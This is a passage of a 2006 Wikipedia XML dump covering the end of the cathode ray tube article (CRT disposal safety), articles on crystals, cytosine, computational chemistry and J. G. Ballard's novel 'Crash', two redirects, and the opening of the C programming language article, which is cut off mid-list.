When handling or disposing of a CRT, you must take steps to avoid creating an implosion hazard for you or your trash removal service. The most simple and safe method to make the tube safe is to identify the small sealed glass nib at the far back of the tube (this may be obscured by the electrical connector) and then (while wearing [[safety glasses]] and gloves) filing a small nick across this and then to break it off using a pair of pliers. A loud sucking sound will be heard as the air enters the tube, filling the vacuum. One must be very cautious not to break the neck of the tube when it is evacuated since there is no plastic coating preventing shattering of the glass.  ''High vacuum and high voltage can be dangerous.''

==See also==
{{Commons|CRT|Cathode ray tube}}
* [[Flat panel display]]
* [[Comparison of display technology]]
* [[Monoscope]]
* [[Image Dissector]]
* [[Charactron]]

&lt;!-- interwiki --&gt;

==External links==
*[http://members.chello.nl/~h.dijkstra19/page3.html The Cathode Ray Tube site]

[[Category:Display technology]]
[[Category:Television technology]]
[[Category:Vacuum tubes]]

[[ca:Tub de raigs catòdics]]
[[da:Billedrør]]
[[de:Kathodenstrahlröhre]]
[[es:Tubo de rayos catódicos]]
[[fr:Tube cathodique]]
[[he:שפופרת קתודית]]
[[id:Tabung sinar kathoda]]
[[it:Tubo catodico]]
[[ja:ブラウン管]]
[[ko:음극선관]]
[[lt:CRT monitorius]]
[[lv:Kineskops]]
[[nl:Kathodestraalbuis]]
[[no:Bilderør]]
[[pl:CRT]]
[[pt:Tubo de raios catódicos]]
[[ru:ЭЛТ-монитор]]
[[sl:Katodna cev]]
[[sv:Katodstrålerör]]
[[zh:阴极射线管]]</text>
    </revision>
  </page>
  <page>
    <title>Crystal</title>
    <id>6015</id>
    <revision>
      <id>40936579</id>
      <timestamp>2006-02-24T00:02:37Z</timestamp>
      <contributor>
        <username>Samsara</username>
        <id>19527</id>
      </contributor>
      <comment>merge from crystallisation processes</comment>
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[crystal (disambiguation)]].}}
{{mergefrom|crystallization processes}}
[[image:Quartz Crystal.jpg|thumb|200px|right|[[Quartz]] crystal]]

A '''crystal''' is a [[solid]] in which the constituent [[atom]]s, [[molecule]]s, or [[ion]]s are packed in a regularly ordered, repeating pattern extending in all three spatial dimensions.

Generally, crystals form when they undergo a process of solidification. Under ideal conditions, the result may be a [[single crystal]], where all of the atoms in the solid fit into the same [[crystal lattice]] or [[crystal structure]] but, generally, many crystals form simultaneously during solidification, leading to a [[polycrystal]]line solid. For example, most [[metals]] encountered in everyday life are polycrystals. Crystals are often symmetrically intergrown to form [[Crystal twinning|crystal twins]].

Which [[crystal structure]] the fluid will form depends on the [[chemistry]] of the fluid, the conditions under which it is being solidified, and also on the ambient [[pressure]]. The process of forming a crystalline structure is often referred to as '''[[crystallization]]'''.

[[image:Bismuth_Crystal.jpg|thumb|300px|left|[[Bismuth]] crystal]]

While the cooling process usually results in the generation of a crystalline material, under certain conditions, the fluid may be frozen in a noncrystalline state. In most cases, this involves cooling the fluid so rapidly that atoms cannot travel to their lattice sites before they lose mobility. A noncrystalline material, which has no [[long-range order]], is called an [[amorphous]], [[vitreous]], or [[glass]]y material. It is also often referred to as an amorphous solid, although there are distinct differences between solids and glasses: most notably, the process of forming a glass does not release the [[latent heat of fusion]]. For this reason, many scientists consider glassy materials to be [[viscosity|viscous]] liquids rather than solids, although this is a controversial topic; see the entry on [[glass]] for more details.

[[Image:Insulincrystals.jpg|thumb|300px|right|[[Insulin]] crystals]]

Crystalline structures occur in all classes of materials, with all types of [[chemical bond]]s.  Almost all [[metallic bond | metal]] exists in a polycrystalline state; amorphous or single-crystal metals must be produced synthetically, often with great difficulty.  [[ionic bond | Ionically bonded]] crystals can form upon solidification of salts, either from a molten fluid or when it condenses from a solution. [[Covalent]]ly bonded crystals are also very common, notable examples being diamond, silica, and graphite. [[Polymer]] materials generally will form crystalline regions, but the lengths of the molecules usually prevents complete crystallization. Weak [[Van der Waals force]]s can also play a role in a crystal structure; for example, this type of bonding loosely holds together the hexagonal-patterned sheets in [[graphite]].

Most crystalline materials have a variety of [[crystallographic defect]]s. The types and structures of these defects can have a profound effect on the properties of the materials.

[[Image:Gallium1_640x480.jpg|thumb|300px|right|[[Gallium]], a metal that easily forms large single crystals]]
[[Image:Monocristal dsc03676.jpg|thumb|300px|right|A large artificial monocrystal grown by [[Saint-Gobain]] for the megajoule laser of [[Commissariat à l'Énergie Atomique|CEA]].]]
While the term &quot;crystal&quot; has a precise meaning within [[materials science]] and [[solid-state physics]], colloquially &quot;crystal&quot; refers to solid objects that exhibit well-defined and often pleasing geometric shapes.  Various shapes of such crystals are found in nature. The shape of these crystals is dependent on the types of molecular bonds between the atoms to determine the structure, as well as on the conditions under which they formed. [[Snowflake]]s, [[diamond]]s, and common [[salt]] are common examples of crystals. 

Some crystalline materials may exhibit special electrical properties such as the [[ferroelectric effect]] or the [[piezoelectricity|piezoelectric effect]].

The behaviour of [[light]] in crystals is described by [[crystal optics]]. In periodic [[dielectric]] structures a range of unique optical properties can be expected as described in [[photonic crystal]]s.

[[Crystallography]] is the scientific study of crystals and crystal formation.
==Historical and mythical uses==
According to [[Bahya_ben_Asher|Rebbenu Bachya]], the word &quot;Achlmah&quot; in the verse [[Exodus]] 28:19 means &quot;Crystal&quot; and was the stone on the [[Ephod]] representing the tribe of [[Gad]].

== See also ==

* [[Crystal habit]]
* [[Crystal structure]]
* [[Crystallite]]
* [[Crystallization processes]]
* [[Liquid crystal]]
* [[Quasicrystal]]
* [[Seed crystal]]
* [[Single crystal]]
* [[Polymorphism (materials science)]]

==External links==

* [http://www.rockhounds.com/rockshop/xtal/index.html Introduction to Crystallography and Mineral Crystal Systems]
* [http://www.iucr.ac.uk/iucr-top/comm/cteach/pamphlets.html Crystallographic Teaching Pamphlets]
* [http://cst-www.nrl.navy.mil/lattice/spcgrp/ Crystal Lattice Structures]
* [http://www.thecrystalweb.org/ A virtual museum about the crystal]

[[Category:Crystals| ]]

[[th:ผลึก]]
[[bg:Кристал]]
[[da:Krystal]]
[[cs:Krystal]]
[[de:Kristall]]
[[et:Kristall]]
[[eo:Kristalo]]
[[es:Cristal]]
[[fa:بلور]]
[[fi:Kide]]
[[fr:Cristal]]
[[he:גביש]]
[[io:Kristalo]]
[[id:kristal]]
[[it:Cristallo]]
[[ja:結晶]]
[[la:Crystallum]]
[[mk:Кристал]]
[[nl:Kristal (natuurwetenschappen)]]
[[pl:Faza krystaliczna]]
[[pt:Cristal]]
[[sl:Kristal]]
[[zh:晶体]]</text>
    </revision>
  </page>
  <page>
    <title>Cytosine</title>
    <id>6016</id>
    <revision>
      <id>35974609</id>
      <timestamp>2006-01-20T17:15:25Z</timestamp>
      <contributor>
        <username>David R. Ingham</username>
        <id>300162</id>
      </contributor>
      <text xml:space="preserve">&lt;!-- Here is a table of datad; skip past it to edit the text. --&gt;
&lt;!-- &lt;nowiki&gt; Submit {{subst:chembox_simple_organic}} to get this template or go to [[Template:Chembox_simple_organic]]. &lt;/nowiki&gt; --&gt;

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin-left:1em&quot;
! colspan=&quot;2&quot; align=center bgcolor=&quot;#cccccc&quot; | '''Cytosine'''
|-
| [[IUPAC nomenclature|Chemical name]]
| 4-Aminopyrimidin-2(1''H'')-one
|-
| [[Chemical formula]]
| C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;N&lt;sub&gt;3&lt;/sub&gt;O
|-
| [[Molecular mass]]
| 111.10 g/mol
|-
| [[Melting point]]
| 320 - 325°C (decomp)
|-
| [[CAS registry number|CAS number]]
| 71-30-7
|-
| [[Simplified molecular input line entry specification|SMILES]]
| NC1=NC(NC=C1)=O
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:Cytosine_chemical_structure.png|101px|Chemical structure of cytosine]]
|-
|}

'''Cytosine''' is one of the 5 main [[nucleobase]]s used in storing and transporting [[genetics|genetic]] information within a cell in the [[nucleic acid]]s [[DNA]] and [[RNA]]. It is a [[pyrimidine]] derivative, with a [[heterocyclic]] [[aromatic ring]] and two substituents attached (an [[amine]] group at position 4 and a [[Ketone|keto]] group at position 2). The [[nucleoside]] of cytosine is [[cytidine]].  In Watson-Crick base pairing, it forms three hydrogen bonds with [[guanine]].

Cytosine was first discovered in 1894 when it was isolated from calf [[thymus]] tissues. A structure was proposed in 1903, and was synthesized (and thus confirmed) in the laboratory in the same year.

Cytosine recently found use in [[quantum computation]].  The first time any
[[quantum]] mechanical properties were harnessed to process [[information]]
took place on August 1st in 1998 when researchers at Oxford implemented [[David Deutsch|David Deutsch's]] algorithm on a two [[qubit]] NMRQC ([[Nuclear Magnetic Resonance]] Quantum Computer) based on the cytosine [[molecule]].

Cytosine can be found as part of DNA, RNA, or as a part of a [[nucleotide]]. As [[cytosine triphosphate]] (CTP), it can act as a co-factor to enzymes, and can transfer a phosphate to convert [[adenosine diphosphate]] (ADP) to [[adenosine triphosphate]] (ATP).

In DNA and RNA, cytosine is paired with [[guanine]]. However, it is inherently unstable, and can change into [[uracil]] ([[deamination|spontaneous deamination]]). This can lead to a [[point mutation]] if not repaired by the [[DNA repair]] [[enzymes]].

Cytosine can also be [[methylated]] into [[5-methylcytosine]] by an enzyme called [[DNA methyltransferase]].

==External links==
* {{PubChemLink|597}} &amp;mdash; 4-amino-3H-pyrimidin-2-one
* {{PubChemLink|5274263}} &amp;mdash; 4-aminopyrimidin-2-ol
* {{EINECSLink|200-749-5}}

*[http://www.compchemwiki.org/index.php?title=Cytosine Computational Chemistry Wiki]
*[http://www.pnas.org/cgi/content/full/96/8/4396 Prebiotic cytosine synthesis: A critical analysis and implications for the origin of life]
{{Nucleic acids}}

[[Category:Pyrimidines]]

[[ca:Citosina]]
[[de:Cytosin]]
[[es:Citosina]]
[[eo:Citozino]]
[[fr:Cytosine]]
[[it:Citosina]]
[[he:ציטוזין]]
[[lt:Citozinas]]
[[nl:Cytosine]]
[[ja:シトシン]]
[[pl:Cytozyna]]
[[pt:Citosina]]
[[sl:Citozin]]
[[sr:Цитозин]]
[[fi:Sytosiini]]
[[sv:Cytosin]]
[[vi:Cytosine]]
[[tr:Sitozin]]</text>
    </revision>
  </page>
  <page>
    <title>Cruise Missile</title>
    <id>6017</id>
    <revision>
      <id>15904182</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cruise missile]]
</text>
    </revision>
  </page>
  <page>
    <title>Call Of Cthulhu</title>
    <id>6018</id>
    <revision>
      <id>15904183</id>
      <timestamp>2004-03-10T00:56:40Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[The Call of Cthulhu]]</text>
    </revision>
  </page>
  <page>
    <title>Computational chemistry</title>
    <id>6019</id>
    <revision>
      <id>41803838</id>
      <timestamp>2006-03-01T21:30:43Z</timestamp>
      <contributor>
        <username>Bduke</username>
        <id>541218</id>
      </contributor>
      <comment>/* Software packages */ VAMP to VASP as DFT article calls it VASP and fic link.</comment>
      <text xml:space="preserve">{{TOCright}}
'''Computational chemistry''' is a branch of [[theoretical chemistry]] whose major goals are to create efficient mathematical [[approximation]]s and [[computer program]]s that calculate the properties of [[molecule]]s (such as total energy, [[dipole]] and[[quadrupole | quadrupole moment]], [[vibrational spectroscopy | vibrational frequencies]], [[reactivity]] and other diverse [[spectroscopy | spectroscopic quantitities]] and [[cross section (physics) | cross section]]s for [[scattering theory | collision]] of molecules with diverse atomic or subatomic projectiles) and to apply these programs to concrete chemical objects. The term is also sometimes used to cover the areas of overlap between [[computer science]] and [[chemistry]].

== Introduction ==

The term ''theoretical chemistry'' may be defined as a mathematical description of chemistry, whereas ''computational chemistry'' is usually used when a mathematical method is sufficiently well developed that it can be automated for implementation on a computer. Note that the words ''exact'' and ''perfect'' do not appear here, as very few aspects of chemistry can be computed exactly. Almost every aspect of chemistry, however, can be and has been described in a qualitative or approximate quantitative computational scheme. 

It is, in principle, possible to use one very accurate method and apply it to all molecules. Although such methods are well-known and available in many programs, the computational cost of their use grows [[factorial|factorially]] (even faster than [[exponential growth|exponentially]]) with the number of electrons. Therefore, a great number of approximate methods strive to achieve the best trade-off between accuracy and computational cost. Present computational chemistry can routinely and very accurately calculate the properties of molecules that contain no more than 10-40 electrons. The treatment of molecules that contain a few dozen electrons is computationally tractable by approximate methods such as [[density functional theory|DFT]]. There is some dispute within the field whether the latter methods are sufficient to describe complex chemical reactions, such as those in biochemistry.

In theoretical chemistry, chemists and physicists together develop [[algorithm]]s and computer programs to predict atomic and molecular properties and reaction paths for [[chemical reaction]]s. Computational chemists, in contrast, may simply apply existing computer programs and methodologies to specific chemical questions. There are two different approaches in doing this: 
* Computational studies can be carried out in order to find a starting point for a laboratory synthesis
* Computational studies can be used to explore reaction mechanisms and explain observations of laboratory reactions

Several major areas may be distinguished within computational chemistry:
* The computational representation of atoms and molecules  
* Storing and searching for data on chemical entities (see [[chemical database]]s)
* Identifying [[correlation]]s between [[chemical structure]]s and properties (see [[QSPR]] and [[QSAR]])
* Theoretical elucidation of structures based on the simulation of forces  
* Computational approaches to help in the efficient synthesis of compounds
* Computational approaches to design molecules that interact in specific ways with other molecules (e.g. [[drug design]])

== Ab initio methods ==

The programs used in computational chemistry are based on many different [[quantum chemistry|quantum-chemical]] methods that solve the molecular [[Schrödinger equation]] associated with the [[molecular Hamiltonian]]. Methods that do not include empirical or semi-empirical parameters in their equations - are derived directly from theoretical principles, with no inclusion of experimental data - are generally called ''[[ab initio]]'' methods. Most of the time this is referring to approximate quantum mechanical calculations. The approximations made in these cases, however, are usually mathematical in nature, such as using a simpler functional form or getting an approximate solution for a complicated differential equation.

Most ''ab initio'' methods use the [[Born-Oppenheimer approximation |Born-Oppenheimer representation]], allowing the separation of electronic and nuclear motion, and simplifying the Schrödinger equation.  A notable exception are certain approaches called ''[[direct quantum chemistry]]'', which treat electons and nuclei on a common footing.  The calculation usually proceeds in two steps:

* determination of the '''electronic structure''',
* determination of the '''chemical dynamics'''.

===Electronic structure===

The electronic structure is determined by solving the time-independent [[Schrödinger equation]] associated with the [[electronic molecular Hamiltonian]]. The molecular geometry is considered as an [[adiabatic process (quantum mechanics) | adiabatic]] parameter.  Usually the [[basis set (chemistry) | basis set]] (which is usually built from the [[linear combination of atomic orbitals molecular orbital method | LCAO ]] [[ansatz]]) used to solve the Schrödinger equation is not complete and does not span the [[Hilbert space]] associated with [[ionization]] and [[scattering]] processes (see [[continuous spectrum]] for more details).  This approximation allows one to treat the [[Schrödinger equation | Schrödinger equation]] as a &quot;simple&quot; [[eigenvalue]] equation of the [[electronic molecular Hamiltonian]] with a [[discrete spectrum | discrete]] set of solutions.

The obtained [[eigenvalue]]s are functions of the [[molecular geometry]] which are called [[potential energy surface]]s.

The most common type of ''[[ab initio]]'' electronic structure calculation is called a [[Hartree-Fock]] (HF) calculation, in which the Coulombic electron-electron repulsion is not specifically taken into account. Only its average effect is included in the calculation. This is a [[variational method|variational]] calculation, therefore the obtained approximate energies, expressed in terms of the system's [[wave function]], are always equal to or greater than the exact energy, and tend to a limiting value called the Hartree-Fock limit. [[post Hartree-Fock | Many types of calculations]] begin with a HF calculation and subsequently correct for electron-electron repulsion, referred to also as [[electronic correlation]]. [[Møller-Plesset perturbation theory]] (MP) and [[Coupled cluster]] (CC) are examples of such methods.

A method that avoids making the variational overestimation of HF in the first place is [[Quantum Monte Carlo]] (QMC), in its variational, diffusion, and Green's functions flavors. These methods work with an explicitly correlated wave function and evaluate integrals numerically using a [[Monte Carlo]] integration. Such calculations can be very time consuming, but they are probably the most accurate methods known today.

[[Density Functional Theory]] (DFT) methods are often considered to be ''[[ab initio]]'' methods for determining the molecular electronic structure, even many of the most common [[functional]]s usually use parameters derived from empirical data, or more complex calculations.  In DFT, the total energy is expressed in terms of the total [[electronic density | electron density]], rather than the wave function. In this type of calculation, there is an approximate [[Hamiltonian (quantum mechanics)|Hamiltonian]] and an approximate expression for the total electron density.

''[[Ab initio]]'' electronic structure methods have the advantage that they can be made to converge to the exact solution, when all approximations are sufficiently small in magnitude. The convergence, however, is usually not [[monotonic function|monotonic]], and sometimes the smallest calculation gives the best result for some properties. The bad side of ''[[ab initio]]'' methods is their cost. They often take enormous amounts of computer time, memory, and disk space. The HF method scales as ''N&lt;sup&gt;4&lt;/sup&gt;'' (''N'' being the number of basis functions) &amp;ndash; a calculation twice as big takes 16 times as long to complete &amp;ndash; and correlated calculations often scale much less favorably (correlated DFT calculations being the most efficient of this lot).

Computational chemical methods can also be applied to [[solid state physics]] problems.  The electronic structure of a crystal is in general described by a [[band structure]], which defines the energies of electron orbitals for each point in the [[Brillouin zone]]. Ab initio and semiempirical calculations yield orbital energies, therefore they can be applied to band structure calculations. Since it is time consuming to calculate the energy for a molecule, it is even more time consuming to calculate them for the entire list of points in the Brillouin zone.

The most popular classes of ab initio electronic structure methods:

* [[Hartree-Fock]]
* [[Møller-Plesset perturbation theory]]
* [[Multi-configurational self-consistent field]] (MCSCF)
* [[Configuration interaction]]
* [[multireference configuration interaction | Multi-Reference Configuration Interaction]]
* [[Coupled cluster]]
* [[Quadratic configuration interaction]]
* [[Quantum Monte Carlo]]
* [[Density functional theory]]
* [[Generalized Valence Bond]] (GVB)
* [[Modern valence bond theory]]


The [[Atoms in Molecules]] model developed by [[Richard Bader]] was developed in order to effectively link the quantum mechanical picture of a molecule, as an electronic wavefunction, to chemically useful older models such as the theory of [[Lewis pair]]s and the [[Valence bond theory|valence bond model]].  Bader has demonstrated that these empirically useful models are connected with the [[topology]] of the quantum charge density.

===Chemical dynamics===

Once the electronic and [[molecular geometry | nuclear]] variables are [[separation of variables | separated]] (within the Born-Oppenheimer representation), in the time-dependent approach, the [[wave packet]] corresponding to the nuclear [[degrees of freedom]] is propagated via the [[time evolution]] [[operator (physics)]] associated to the time-dependent [[Schrödinger equation]] (for the full [[molecular Hamiltonian]]).  In the [[complementarity (physics) | complementary]] energy-dependent approach, the time-independent [[Schrödinger equation]] is solved using the [[scattering theory]] formalism.  The potential respresenting the interatomic interaction is given by the [[potential energy surface]]s.  In general, the [[potential energy surface]]s are coupled via the [[vibronic coupling]] terms.

The most popular methods for propagating the [[wave packet]] associated to the [[molecular geometry]] are
* the [[split operator technique]],
* the [[Multi-Configuration Time-Dependent Hartree]] method (MCTDH), 
* the [[semiclassical]] method.

[[Molecular dynamics]] examines (using [[Newton's laws of motion]]) the time-dependent behavior of systems, including vibrations or Brownian motion, most often with a classical mechanical description as well. Combined with [[density functional theory]] methods molecular dynamics is called [[Car-Parrinello method]].

== Semiempirical methods ==

=== Electronic structure ===

Within the framework of Hartree-Fock calculations, some pieces of information (such as two-elecron integrals) are sometimes approximated or completely omitted. In order to correct for this loss, semiempirical methods are parametrized, that is their results are fitted by a set of parameters, normally in such a way as to produce results that best agree with experimental data, but sometimes to agree with ab initio results.

Semiempirical methods followed what are often called empirical methods where the two-electron part of the [[Hamiltonian]] is not explicitly included. For π-electron systems, this was the [[Huckel method]] proposed by [[Erich Hückel]] and for all valence electron systems, the [[Extended Huckel method]] proposed by [[Roald Hoffmann]].

Semiempirical calculations are much faster than their ab initio counterparts. Their results, however, can be very wrong if the molecule being computed is not similar enough to the molecules in the database used to parametrize the method.

Semiempirical calculations have been most successful in the description of organic chemistry, where only a few elements are used extensively and molecules are of moderate size.

As with empirical methods, we can distinguish methods that are:-
* restricted to [[Pi electron semiempirical methods|pi-electrons]], and those 
* restricted to [[Valence electron semiempirical methods|valence electrons]],

the latter being by far the largest group of methods.

== Molecular mechanics ==

In many cases, large molecular systems can be modelled succesfully avoiding quantum mechanical calculations entirely. [[Molecular mechanics]] simulations, for example, use a single classical expression for the energy of a compound, for instance the [[harmonic oscillator]]. All constants appearing in the equations must be obtained beforehand from experimental data or ab initio calculations.

The database of compounds used for parameterization - (the resulting set of parameters and functions is called the [[Force field (chemistry)|force field]]) - is crucial to the success of molecular mechanics calculations. A force field parameterized against a specific class of molecules, for instance proteins, would be expected to only have any relevance when describing other proteins.

== Software packages ==

A number of software packages that are self-sufficient and include many quantum-chemical methods are available. The following is a table illustrating the capabilities of various software packages, (corrections to table entries requested). There is a separate list of [[Valence bond codes|Valence Bond Programs]].

{| border=&quot;1&quot;
|-
|Package||Molecular Mechanics||Semi-Empirical||[[Hartree-Fock]]||[[Post-Hartree-Fock methods]]||[[Density Functional Theory]]||Periodic
|-
|[[ACES (computational chemistry)|ACES]]||N||N||Y||Y||N||N
|-
|[[Amsterdam Density Functional|ADF]]||N||N||N||N||Y||Y
|-
|[[AMPAC]]||N||Y||N||N||N||N
|-
|[[CADPAC]]||N||N||Y||Y||Y||N
|-
|[[CASTEP]]||N||N||N||N||Y||Y
|-
|[[COLUMBUS]]||N||N||Y||Y||N||N
|-
|[[CRYSTAL]]||N||N||Y||N||Y||Y
|-
|[[DALTON]]||N||N||Y||Y||Y||N
|-
|[[DMol3]]||N||N||N||N||Y||Y
|-
|[[GAUSSIAN]]||Y||Y||Y||Y||Y||Y
|-
|[[GAMESS]]||N||Y||Y||Y||Y||N
|-
|[[JAGUAR]]||Y||N||Y||Y||Y||N
|-
|[[MOLCAS]]||Y||Y||Y||Y||Y||N
|-
|[[MOLPRO]]||N||N||Y||Y||Y||N
|-
|[[MOPAC]]||N||Y||N||N||N||Y
|-
|[[MPQC]]||N||N||Y||Y||Y||N
|-
|[[NWChem]]||Y||N||Y||Y||Y||Y
|-
|[[PLATO (Package for Linear Combination of Atomic Orbitals)|PLATO]]||Y||N||N||N||Y||Y
|-
|[[PQS (chemical)|PQS]]||Y||Y||Y||Y||Y||N
|-
|[[PSI (computational chemistry)|PSI]]||N||N||Y||Y||N||N
|-
|[[TURBOMOLE]]||N||N||Y||Y||Y||N
|-
|[[Q-Chem]]||N||N||Y||Y||Y||N
|-
|[[Vienna Ab-initio Simulation Package|VASP]]||N||Y||N||N||N||N
|}

== See also ==

* [[Basis sets used in computational chemistry]]
* [[Cheminformatics]]
* [[International Academy of Quantum Molecular Science]]
* [[List_of_publications_in_chemistry#Computational chemistry| Important publications in computational chemistry]]
* [[Molecular dynamics]]
* [[Molecular mechanics]]
* [[Molecular modelling]]
* [[Quantum chemistry]]
* [[Statistical mechanics]]

== References ==

*T. Clark ''A Handbook of Computational Chemistry'', Wiley, New York (1985)
*C. J. Cramer ''Essentials of Computational Chemistry'', John Wiley &amp; Sons (2002)
*F. Jensen ''Introduction to Computational Chemistry'', John Wiley &amp; Sons (1999)
*D. Rogers ''Computational Chemistry Using the PC, 3rd Edition'', John Wiley &amp; Sons (2003)
*A. Szabo, N.S. Ostlund, ''Modern Quantum Chemistry'', McGraw-Hill (1982)
*D. Young ''Computational Chemistry: A Practical Guide for Applying Techniques to Real World Problems'', John Wiley &amp; Sons (2001)
*David Young's [http://www.ccl.net/cca/documents/dyoung/topics-orig/compchem.html Introduction to Computational Chemistry]

== External links ==

*[http://www.ccl.net/ Computational Chemistry List]
*[http://www3.interscience.wiley.com/cgi-bin/jhome/33822 Journal of Computational Chemistry]
*[http://www.ccc.uga.edu Center for Computational Chemistry]
*[http://srdata.nist.gov/cccbdb/ NIST Computational Chemistry Comparison and Benchmark DataBase] - Contains a database of thousands of computational results for hundreds of molecules
*[http://www.compchemwiki.org/index.php?title=Main_Page Computational Chemistry Wiki] - Wiki of computational chemistry results
*[http://www.vigyaancd.org/ VigyaanCD]: A free software workbench for computational chemistry
*[http://www.vcclab.org/ VCCLAB]: Virtual Computational Chemistry Laboratory

[[Category:Computational chemistry| ]]
[[Category:Theoretical chemistry]]
[[Category:Computational science]]

{{BranchesofChemistry}}

[[ca:Química computacional]]
[[de:Computerchemie]]
[[es:Química computacional]]
[[id:Kimia komputasi]]
[[it:Chimica computazionale]]
[[ja:計算化学]]
[[pl:Chemia obliczeniowa]]
[[th:เคมีการคำนวณ]]
[[vi:Hóa học tính toán]]
[[zh:计算化学]]</text>
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  </page>
  <page>
    <title>Crash (novel)</title>
    <id>6020</id>
    <revision>
      <id>41294141</id>
      <timestamp>2006-02-26T09:39:51Z</timestamp>
      <contributor>
        <ip>66.152.205.254</ip>
      </contributor>
      <comment>/* The story */</comment>
      <text xml:space="preserve">'''''Crash'''''  is a novel by [[J. G. Ballard]] first published in [[1973]] about a [[subculture]] of people who are sexually aroused by car crashes. They re-enact famous car crashes (such as those that killed [[James Dean]] and [[Jayne Mansfield]]), cause accidents themselves, and document other crashes. It was a highly controversial novel: famously one publisher's reader returned the verdict &quot;This author is beyond psychiatric help. Do Not Publish.&quot;  The novel was adapted and made into a film in [[1996]], also called ''[[Crash (1996 film)|Crash]].

==The story==
Crash is a story about car-crash [[fetish]]ist, who gets their sexual kicks by staging and participating in very real car-crashes, often with very real consequences. Ballard writes the book in a cold and detached language, giving the impression of an [[engineering report]] or a [[medical journal]].

The story is told through the eyes of a [[narrator]] named after the writer himself, but it centres on the sinister figure Vaughan, a &amp;ldquo;former TV-scientist, turned nightmare angel of the expressways&amp;rdquo;. Gathering around Vaughan, is a group of alienated people, all of them former crash-victims, who follow him in his pursuit to re-enact the crashes of celebrities, and experience what the narrator calls &amp;ldquo;a new sexuality, born from a perverse technology.&amp;rdquo; Vaughan&amp;rsquo;s ultimate fantasy is to die in a head-on collision with movie star [[Elizabeth Taylor]], who was at the height of her popularity at the time the novel was written (in [[1971]]).

==Analysis==
The book explores themes such as the transformation of human psychology by modern technology, and [[consumer culture]]'s fascination with [[celebrities]], [[disaster media]] and technological commodities. The human characters in the novel are cold and passionless, unable to get sexually excited unless some kind of technology is involved (typically architecture and cars). The gruesome damage inflicted on car-crash victims is not seen as shocking, but as the liberation of new sexual possibilities, that have yet to be explored, such as in one scene where a man and a woman have sex in a car that was involved in an accident, but rather than have [[sexual intercourse|vaginal sex]], he penetrates a wound on her thigh that she received in a crash.

Finally, the book asks why we, as an enlightened society, accept such a &amp;ldquo;perverse technology&amp;rdquo; &amp;ndash; that kills a vast amount of people yearly &amp;ndash; as such an integral part of our culture.

Writes Ballard in the foreword: &amp;ldquo;Do we see, in the car-crash, the portents of a nightmare marriage between technology, and our own sexuality? &amp;hellip; Is there some deviant logic unfolding here, more powerful than that provided by reason?&amp;rdquo;

==Quotes==

&amp;ldquo;After having &amp;hellip; been constantly bombarded by road-safety propaganda, it was almost a relief to find myself in a real accident.&amp;rdquo;

&amp;ldquo;Trying to exhaust himself, Vaughan devised an endless almanac of terrifying wounds and insane collisions: The lungs of elderly men punctured by door-handles; the chests of young women impaled on steering-columns; the cheek of handsome youths torn on the chromium latches of quarter-lights. To Vaughan, these wounds formed the key to a new sexuality, born from a perverse technology. The images of these wounds, hung in the gallery of his mind, like exhibits in the museum of a slaughterhouse.&amp;rdquo;

[[Category:1973 books]]
[[Category:J. G. Ballard novels]]
[[fr:Crash]]
[[ja:&amp;#12463;&amp;#12521;&amp;#12483;&amp;#12471;&amp;#12517;&amp;#65288;&amp;#26144;&amp;#30011;&amp;#65289;]]</text>
    </revision>
  </page>
  <page>
    <title>C programming language</title>
    <id>6021</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41401802</id>
      <timestamp>2006-02-27T02:13:15Z</timestamp>
      <contributor>
        <username>Stevenj</username>
        <id>7918</id>
      </contributor>
      <comment>/* C99 */ clarify that lack of support has mainly been from vendors mostly focused on C++ (e.g. Microsoft, Borland)</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:K&amp;R_C.jpg|thumb|right|''[[The C Programming Language (book)|The C Programming Language]]'', [[Brian Kernighan]] and [[Dennis Ritchie]], the original edition that served for many years as an informal specification of the language]]

The '''C programming language''' is a standardized [[imperative programming|imperative]] [[computer programming|computer]] [[programming language]] developed in the early 1970s by [[Dennis Ritchie]] for use on the [[Unix]] [[operating system]]. It has since spread to many other operating systems, and is one of the most widely used programming languages. C is prized for its efficiency, and is the most popular programming language for writing [[system software]], though it is also used for writing [[Application software|application]]s. It is also commonly used in [[computer science]] [[education]], despite not being designed for novices.

==Philosophy==
C is a relatively minimalistic [[programming language]]. Among its design goals was that it  be straightforwardly compilable by a single pass compiler — that is, that just a few [[machine language]] instructions would be required for each of its core language elements, without extensive [[Runtime|run-time support]].  A single pass compiler is one that can compile a source program without having to search backwards in the source file.  This is why a prototype is required if a call to a function appears before its definition.  It is quite possible to write C code at a low level of abstraction analogous to [[assembly language]]; in fact C is sometimes referred to (and not always pejoratively) as &quot;high-level assembly&quot; or &quot;portable assembly&quot;.

In part due to its relatively low level and modest feature set, C compilers can be developed comparatively easily. The language has therefore become available on a very wide range of platforms (probably more than for any other programming language in existence).  Furthermore, despite its low-level nature, the language was designed to enable (and to encourage) [[machine-independent]] programming.  A standards compliant and [[porting|portably]] written C program can therefore be compiled for a very wide variety of computers.

C was originally developed (along with the [[Unix|Unix operating system]] with which it has long been associated) by programmers and for programmers, with few users other than its own designers in mind. Nevertheless, it has achieved very widespread popularity, finding use in contexts far beyond its initial [[System programming|systems-programming]] roots.

C has the following important features:

* A simple [[core language]], with important functionality such as math functions and file handling provided by sets of [[Library (computer science)|library routines]] instead
* Focus on the [[procedural programming]] paradigm, with facilities for programming in a [[Structured programming|structured style]]
* A [[type system]] which prevents many operations that are not meaningful
* Use of a [[preprocessor]] language, the [[C preprocessor]], for tasks such as defining [[macro]]s and including multiple [[source code]] files
* Low-level access to [[computer memory]] via the use of [[pointer]]s
* A minimalistic set of keywords
* [[Parameter (computer science)|Parameter]]s that are passed by value. Pass-by-reference semantics may be simulated by explicitly passing [[pointer]] values.
* Function pointers and static variables, which allow for a rudimentary form of [[Closure (computer science)|closures]] and [[Polymorphism (computer science)|runtime polymorphism]]
* Lexical variable [[scope (programming)|scope]] 
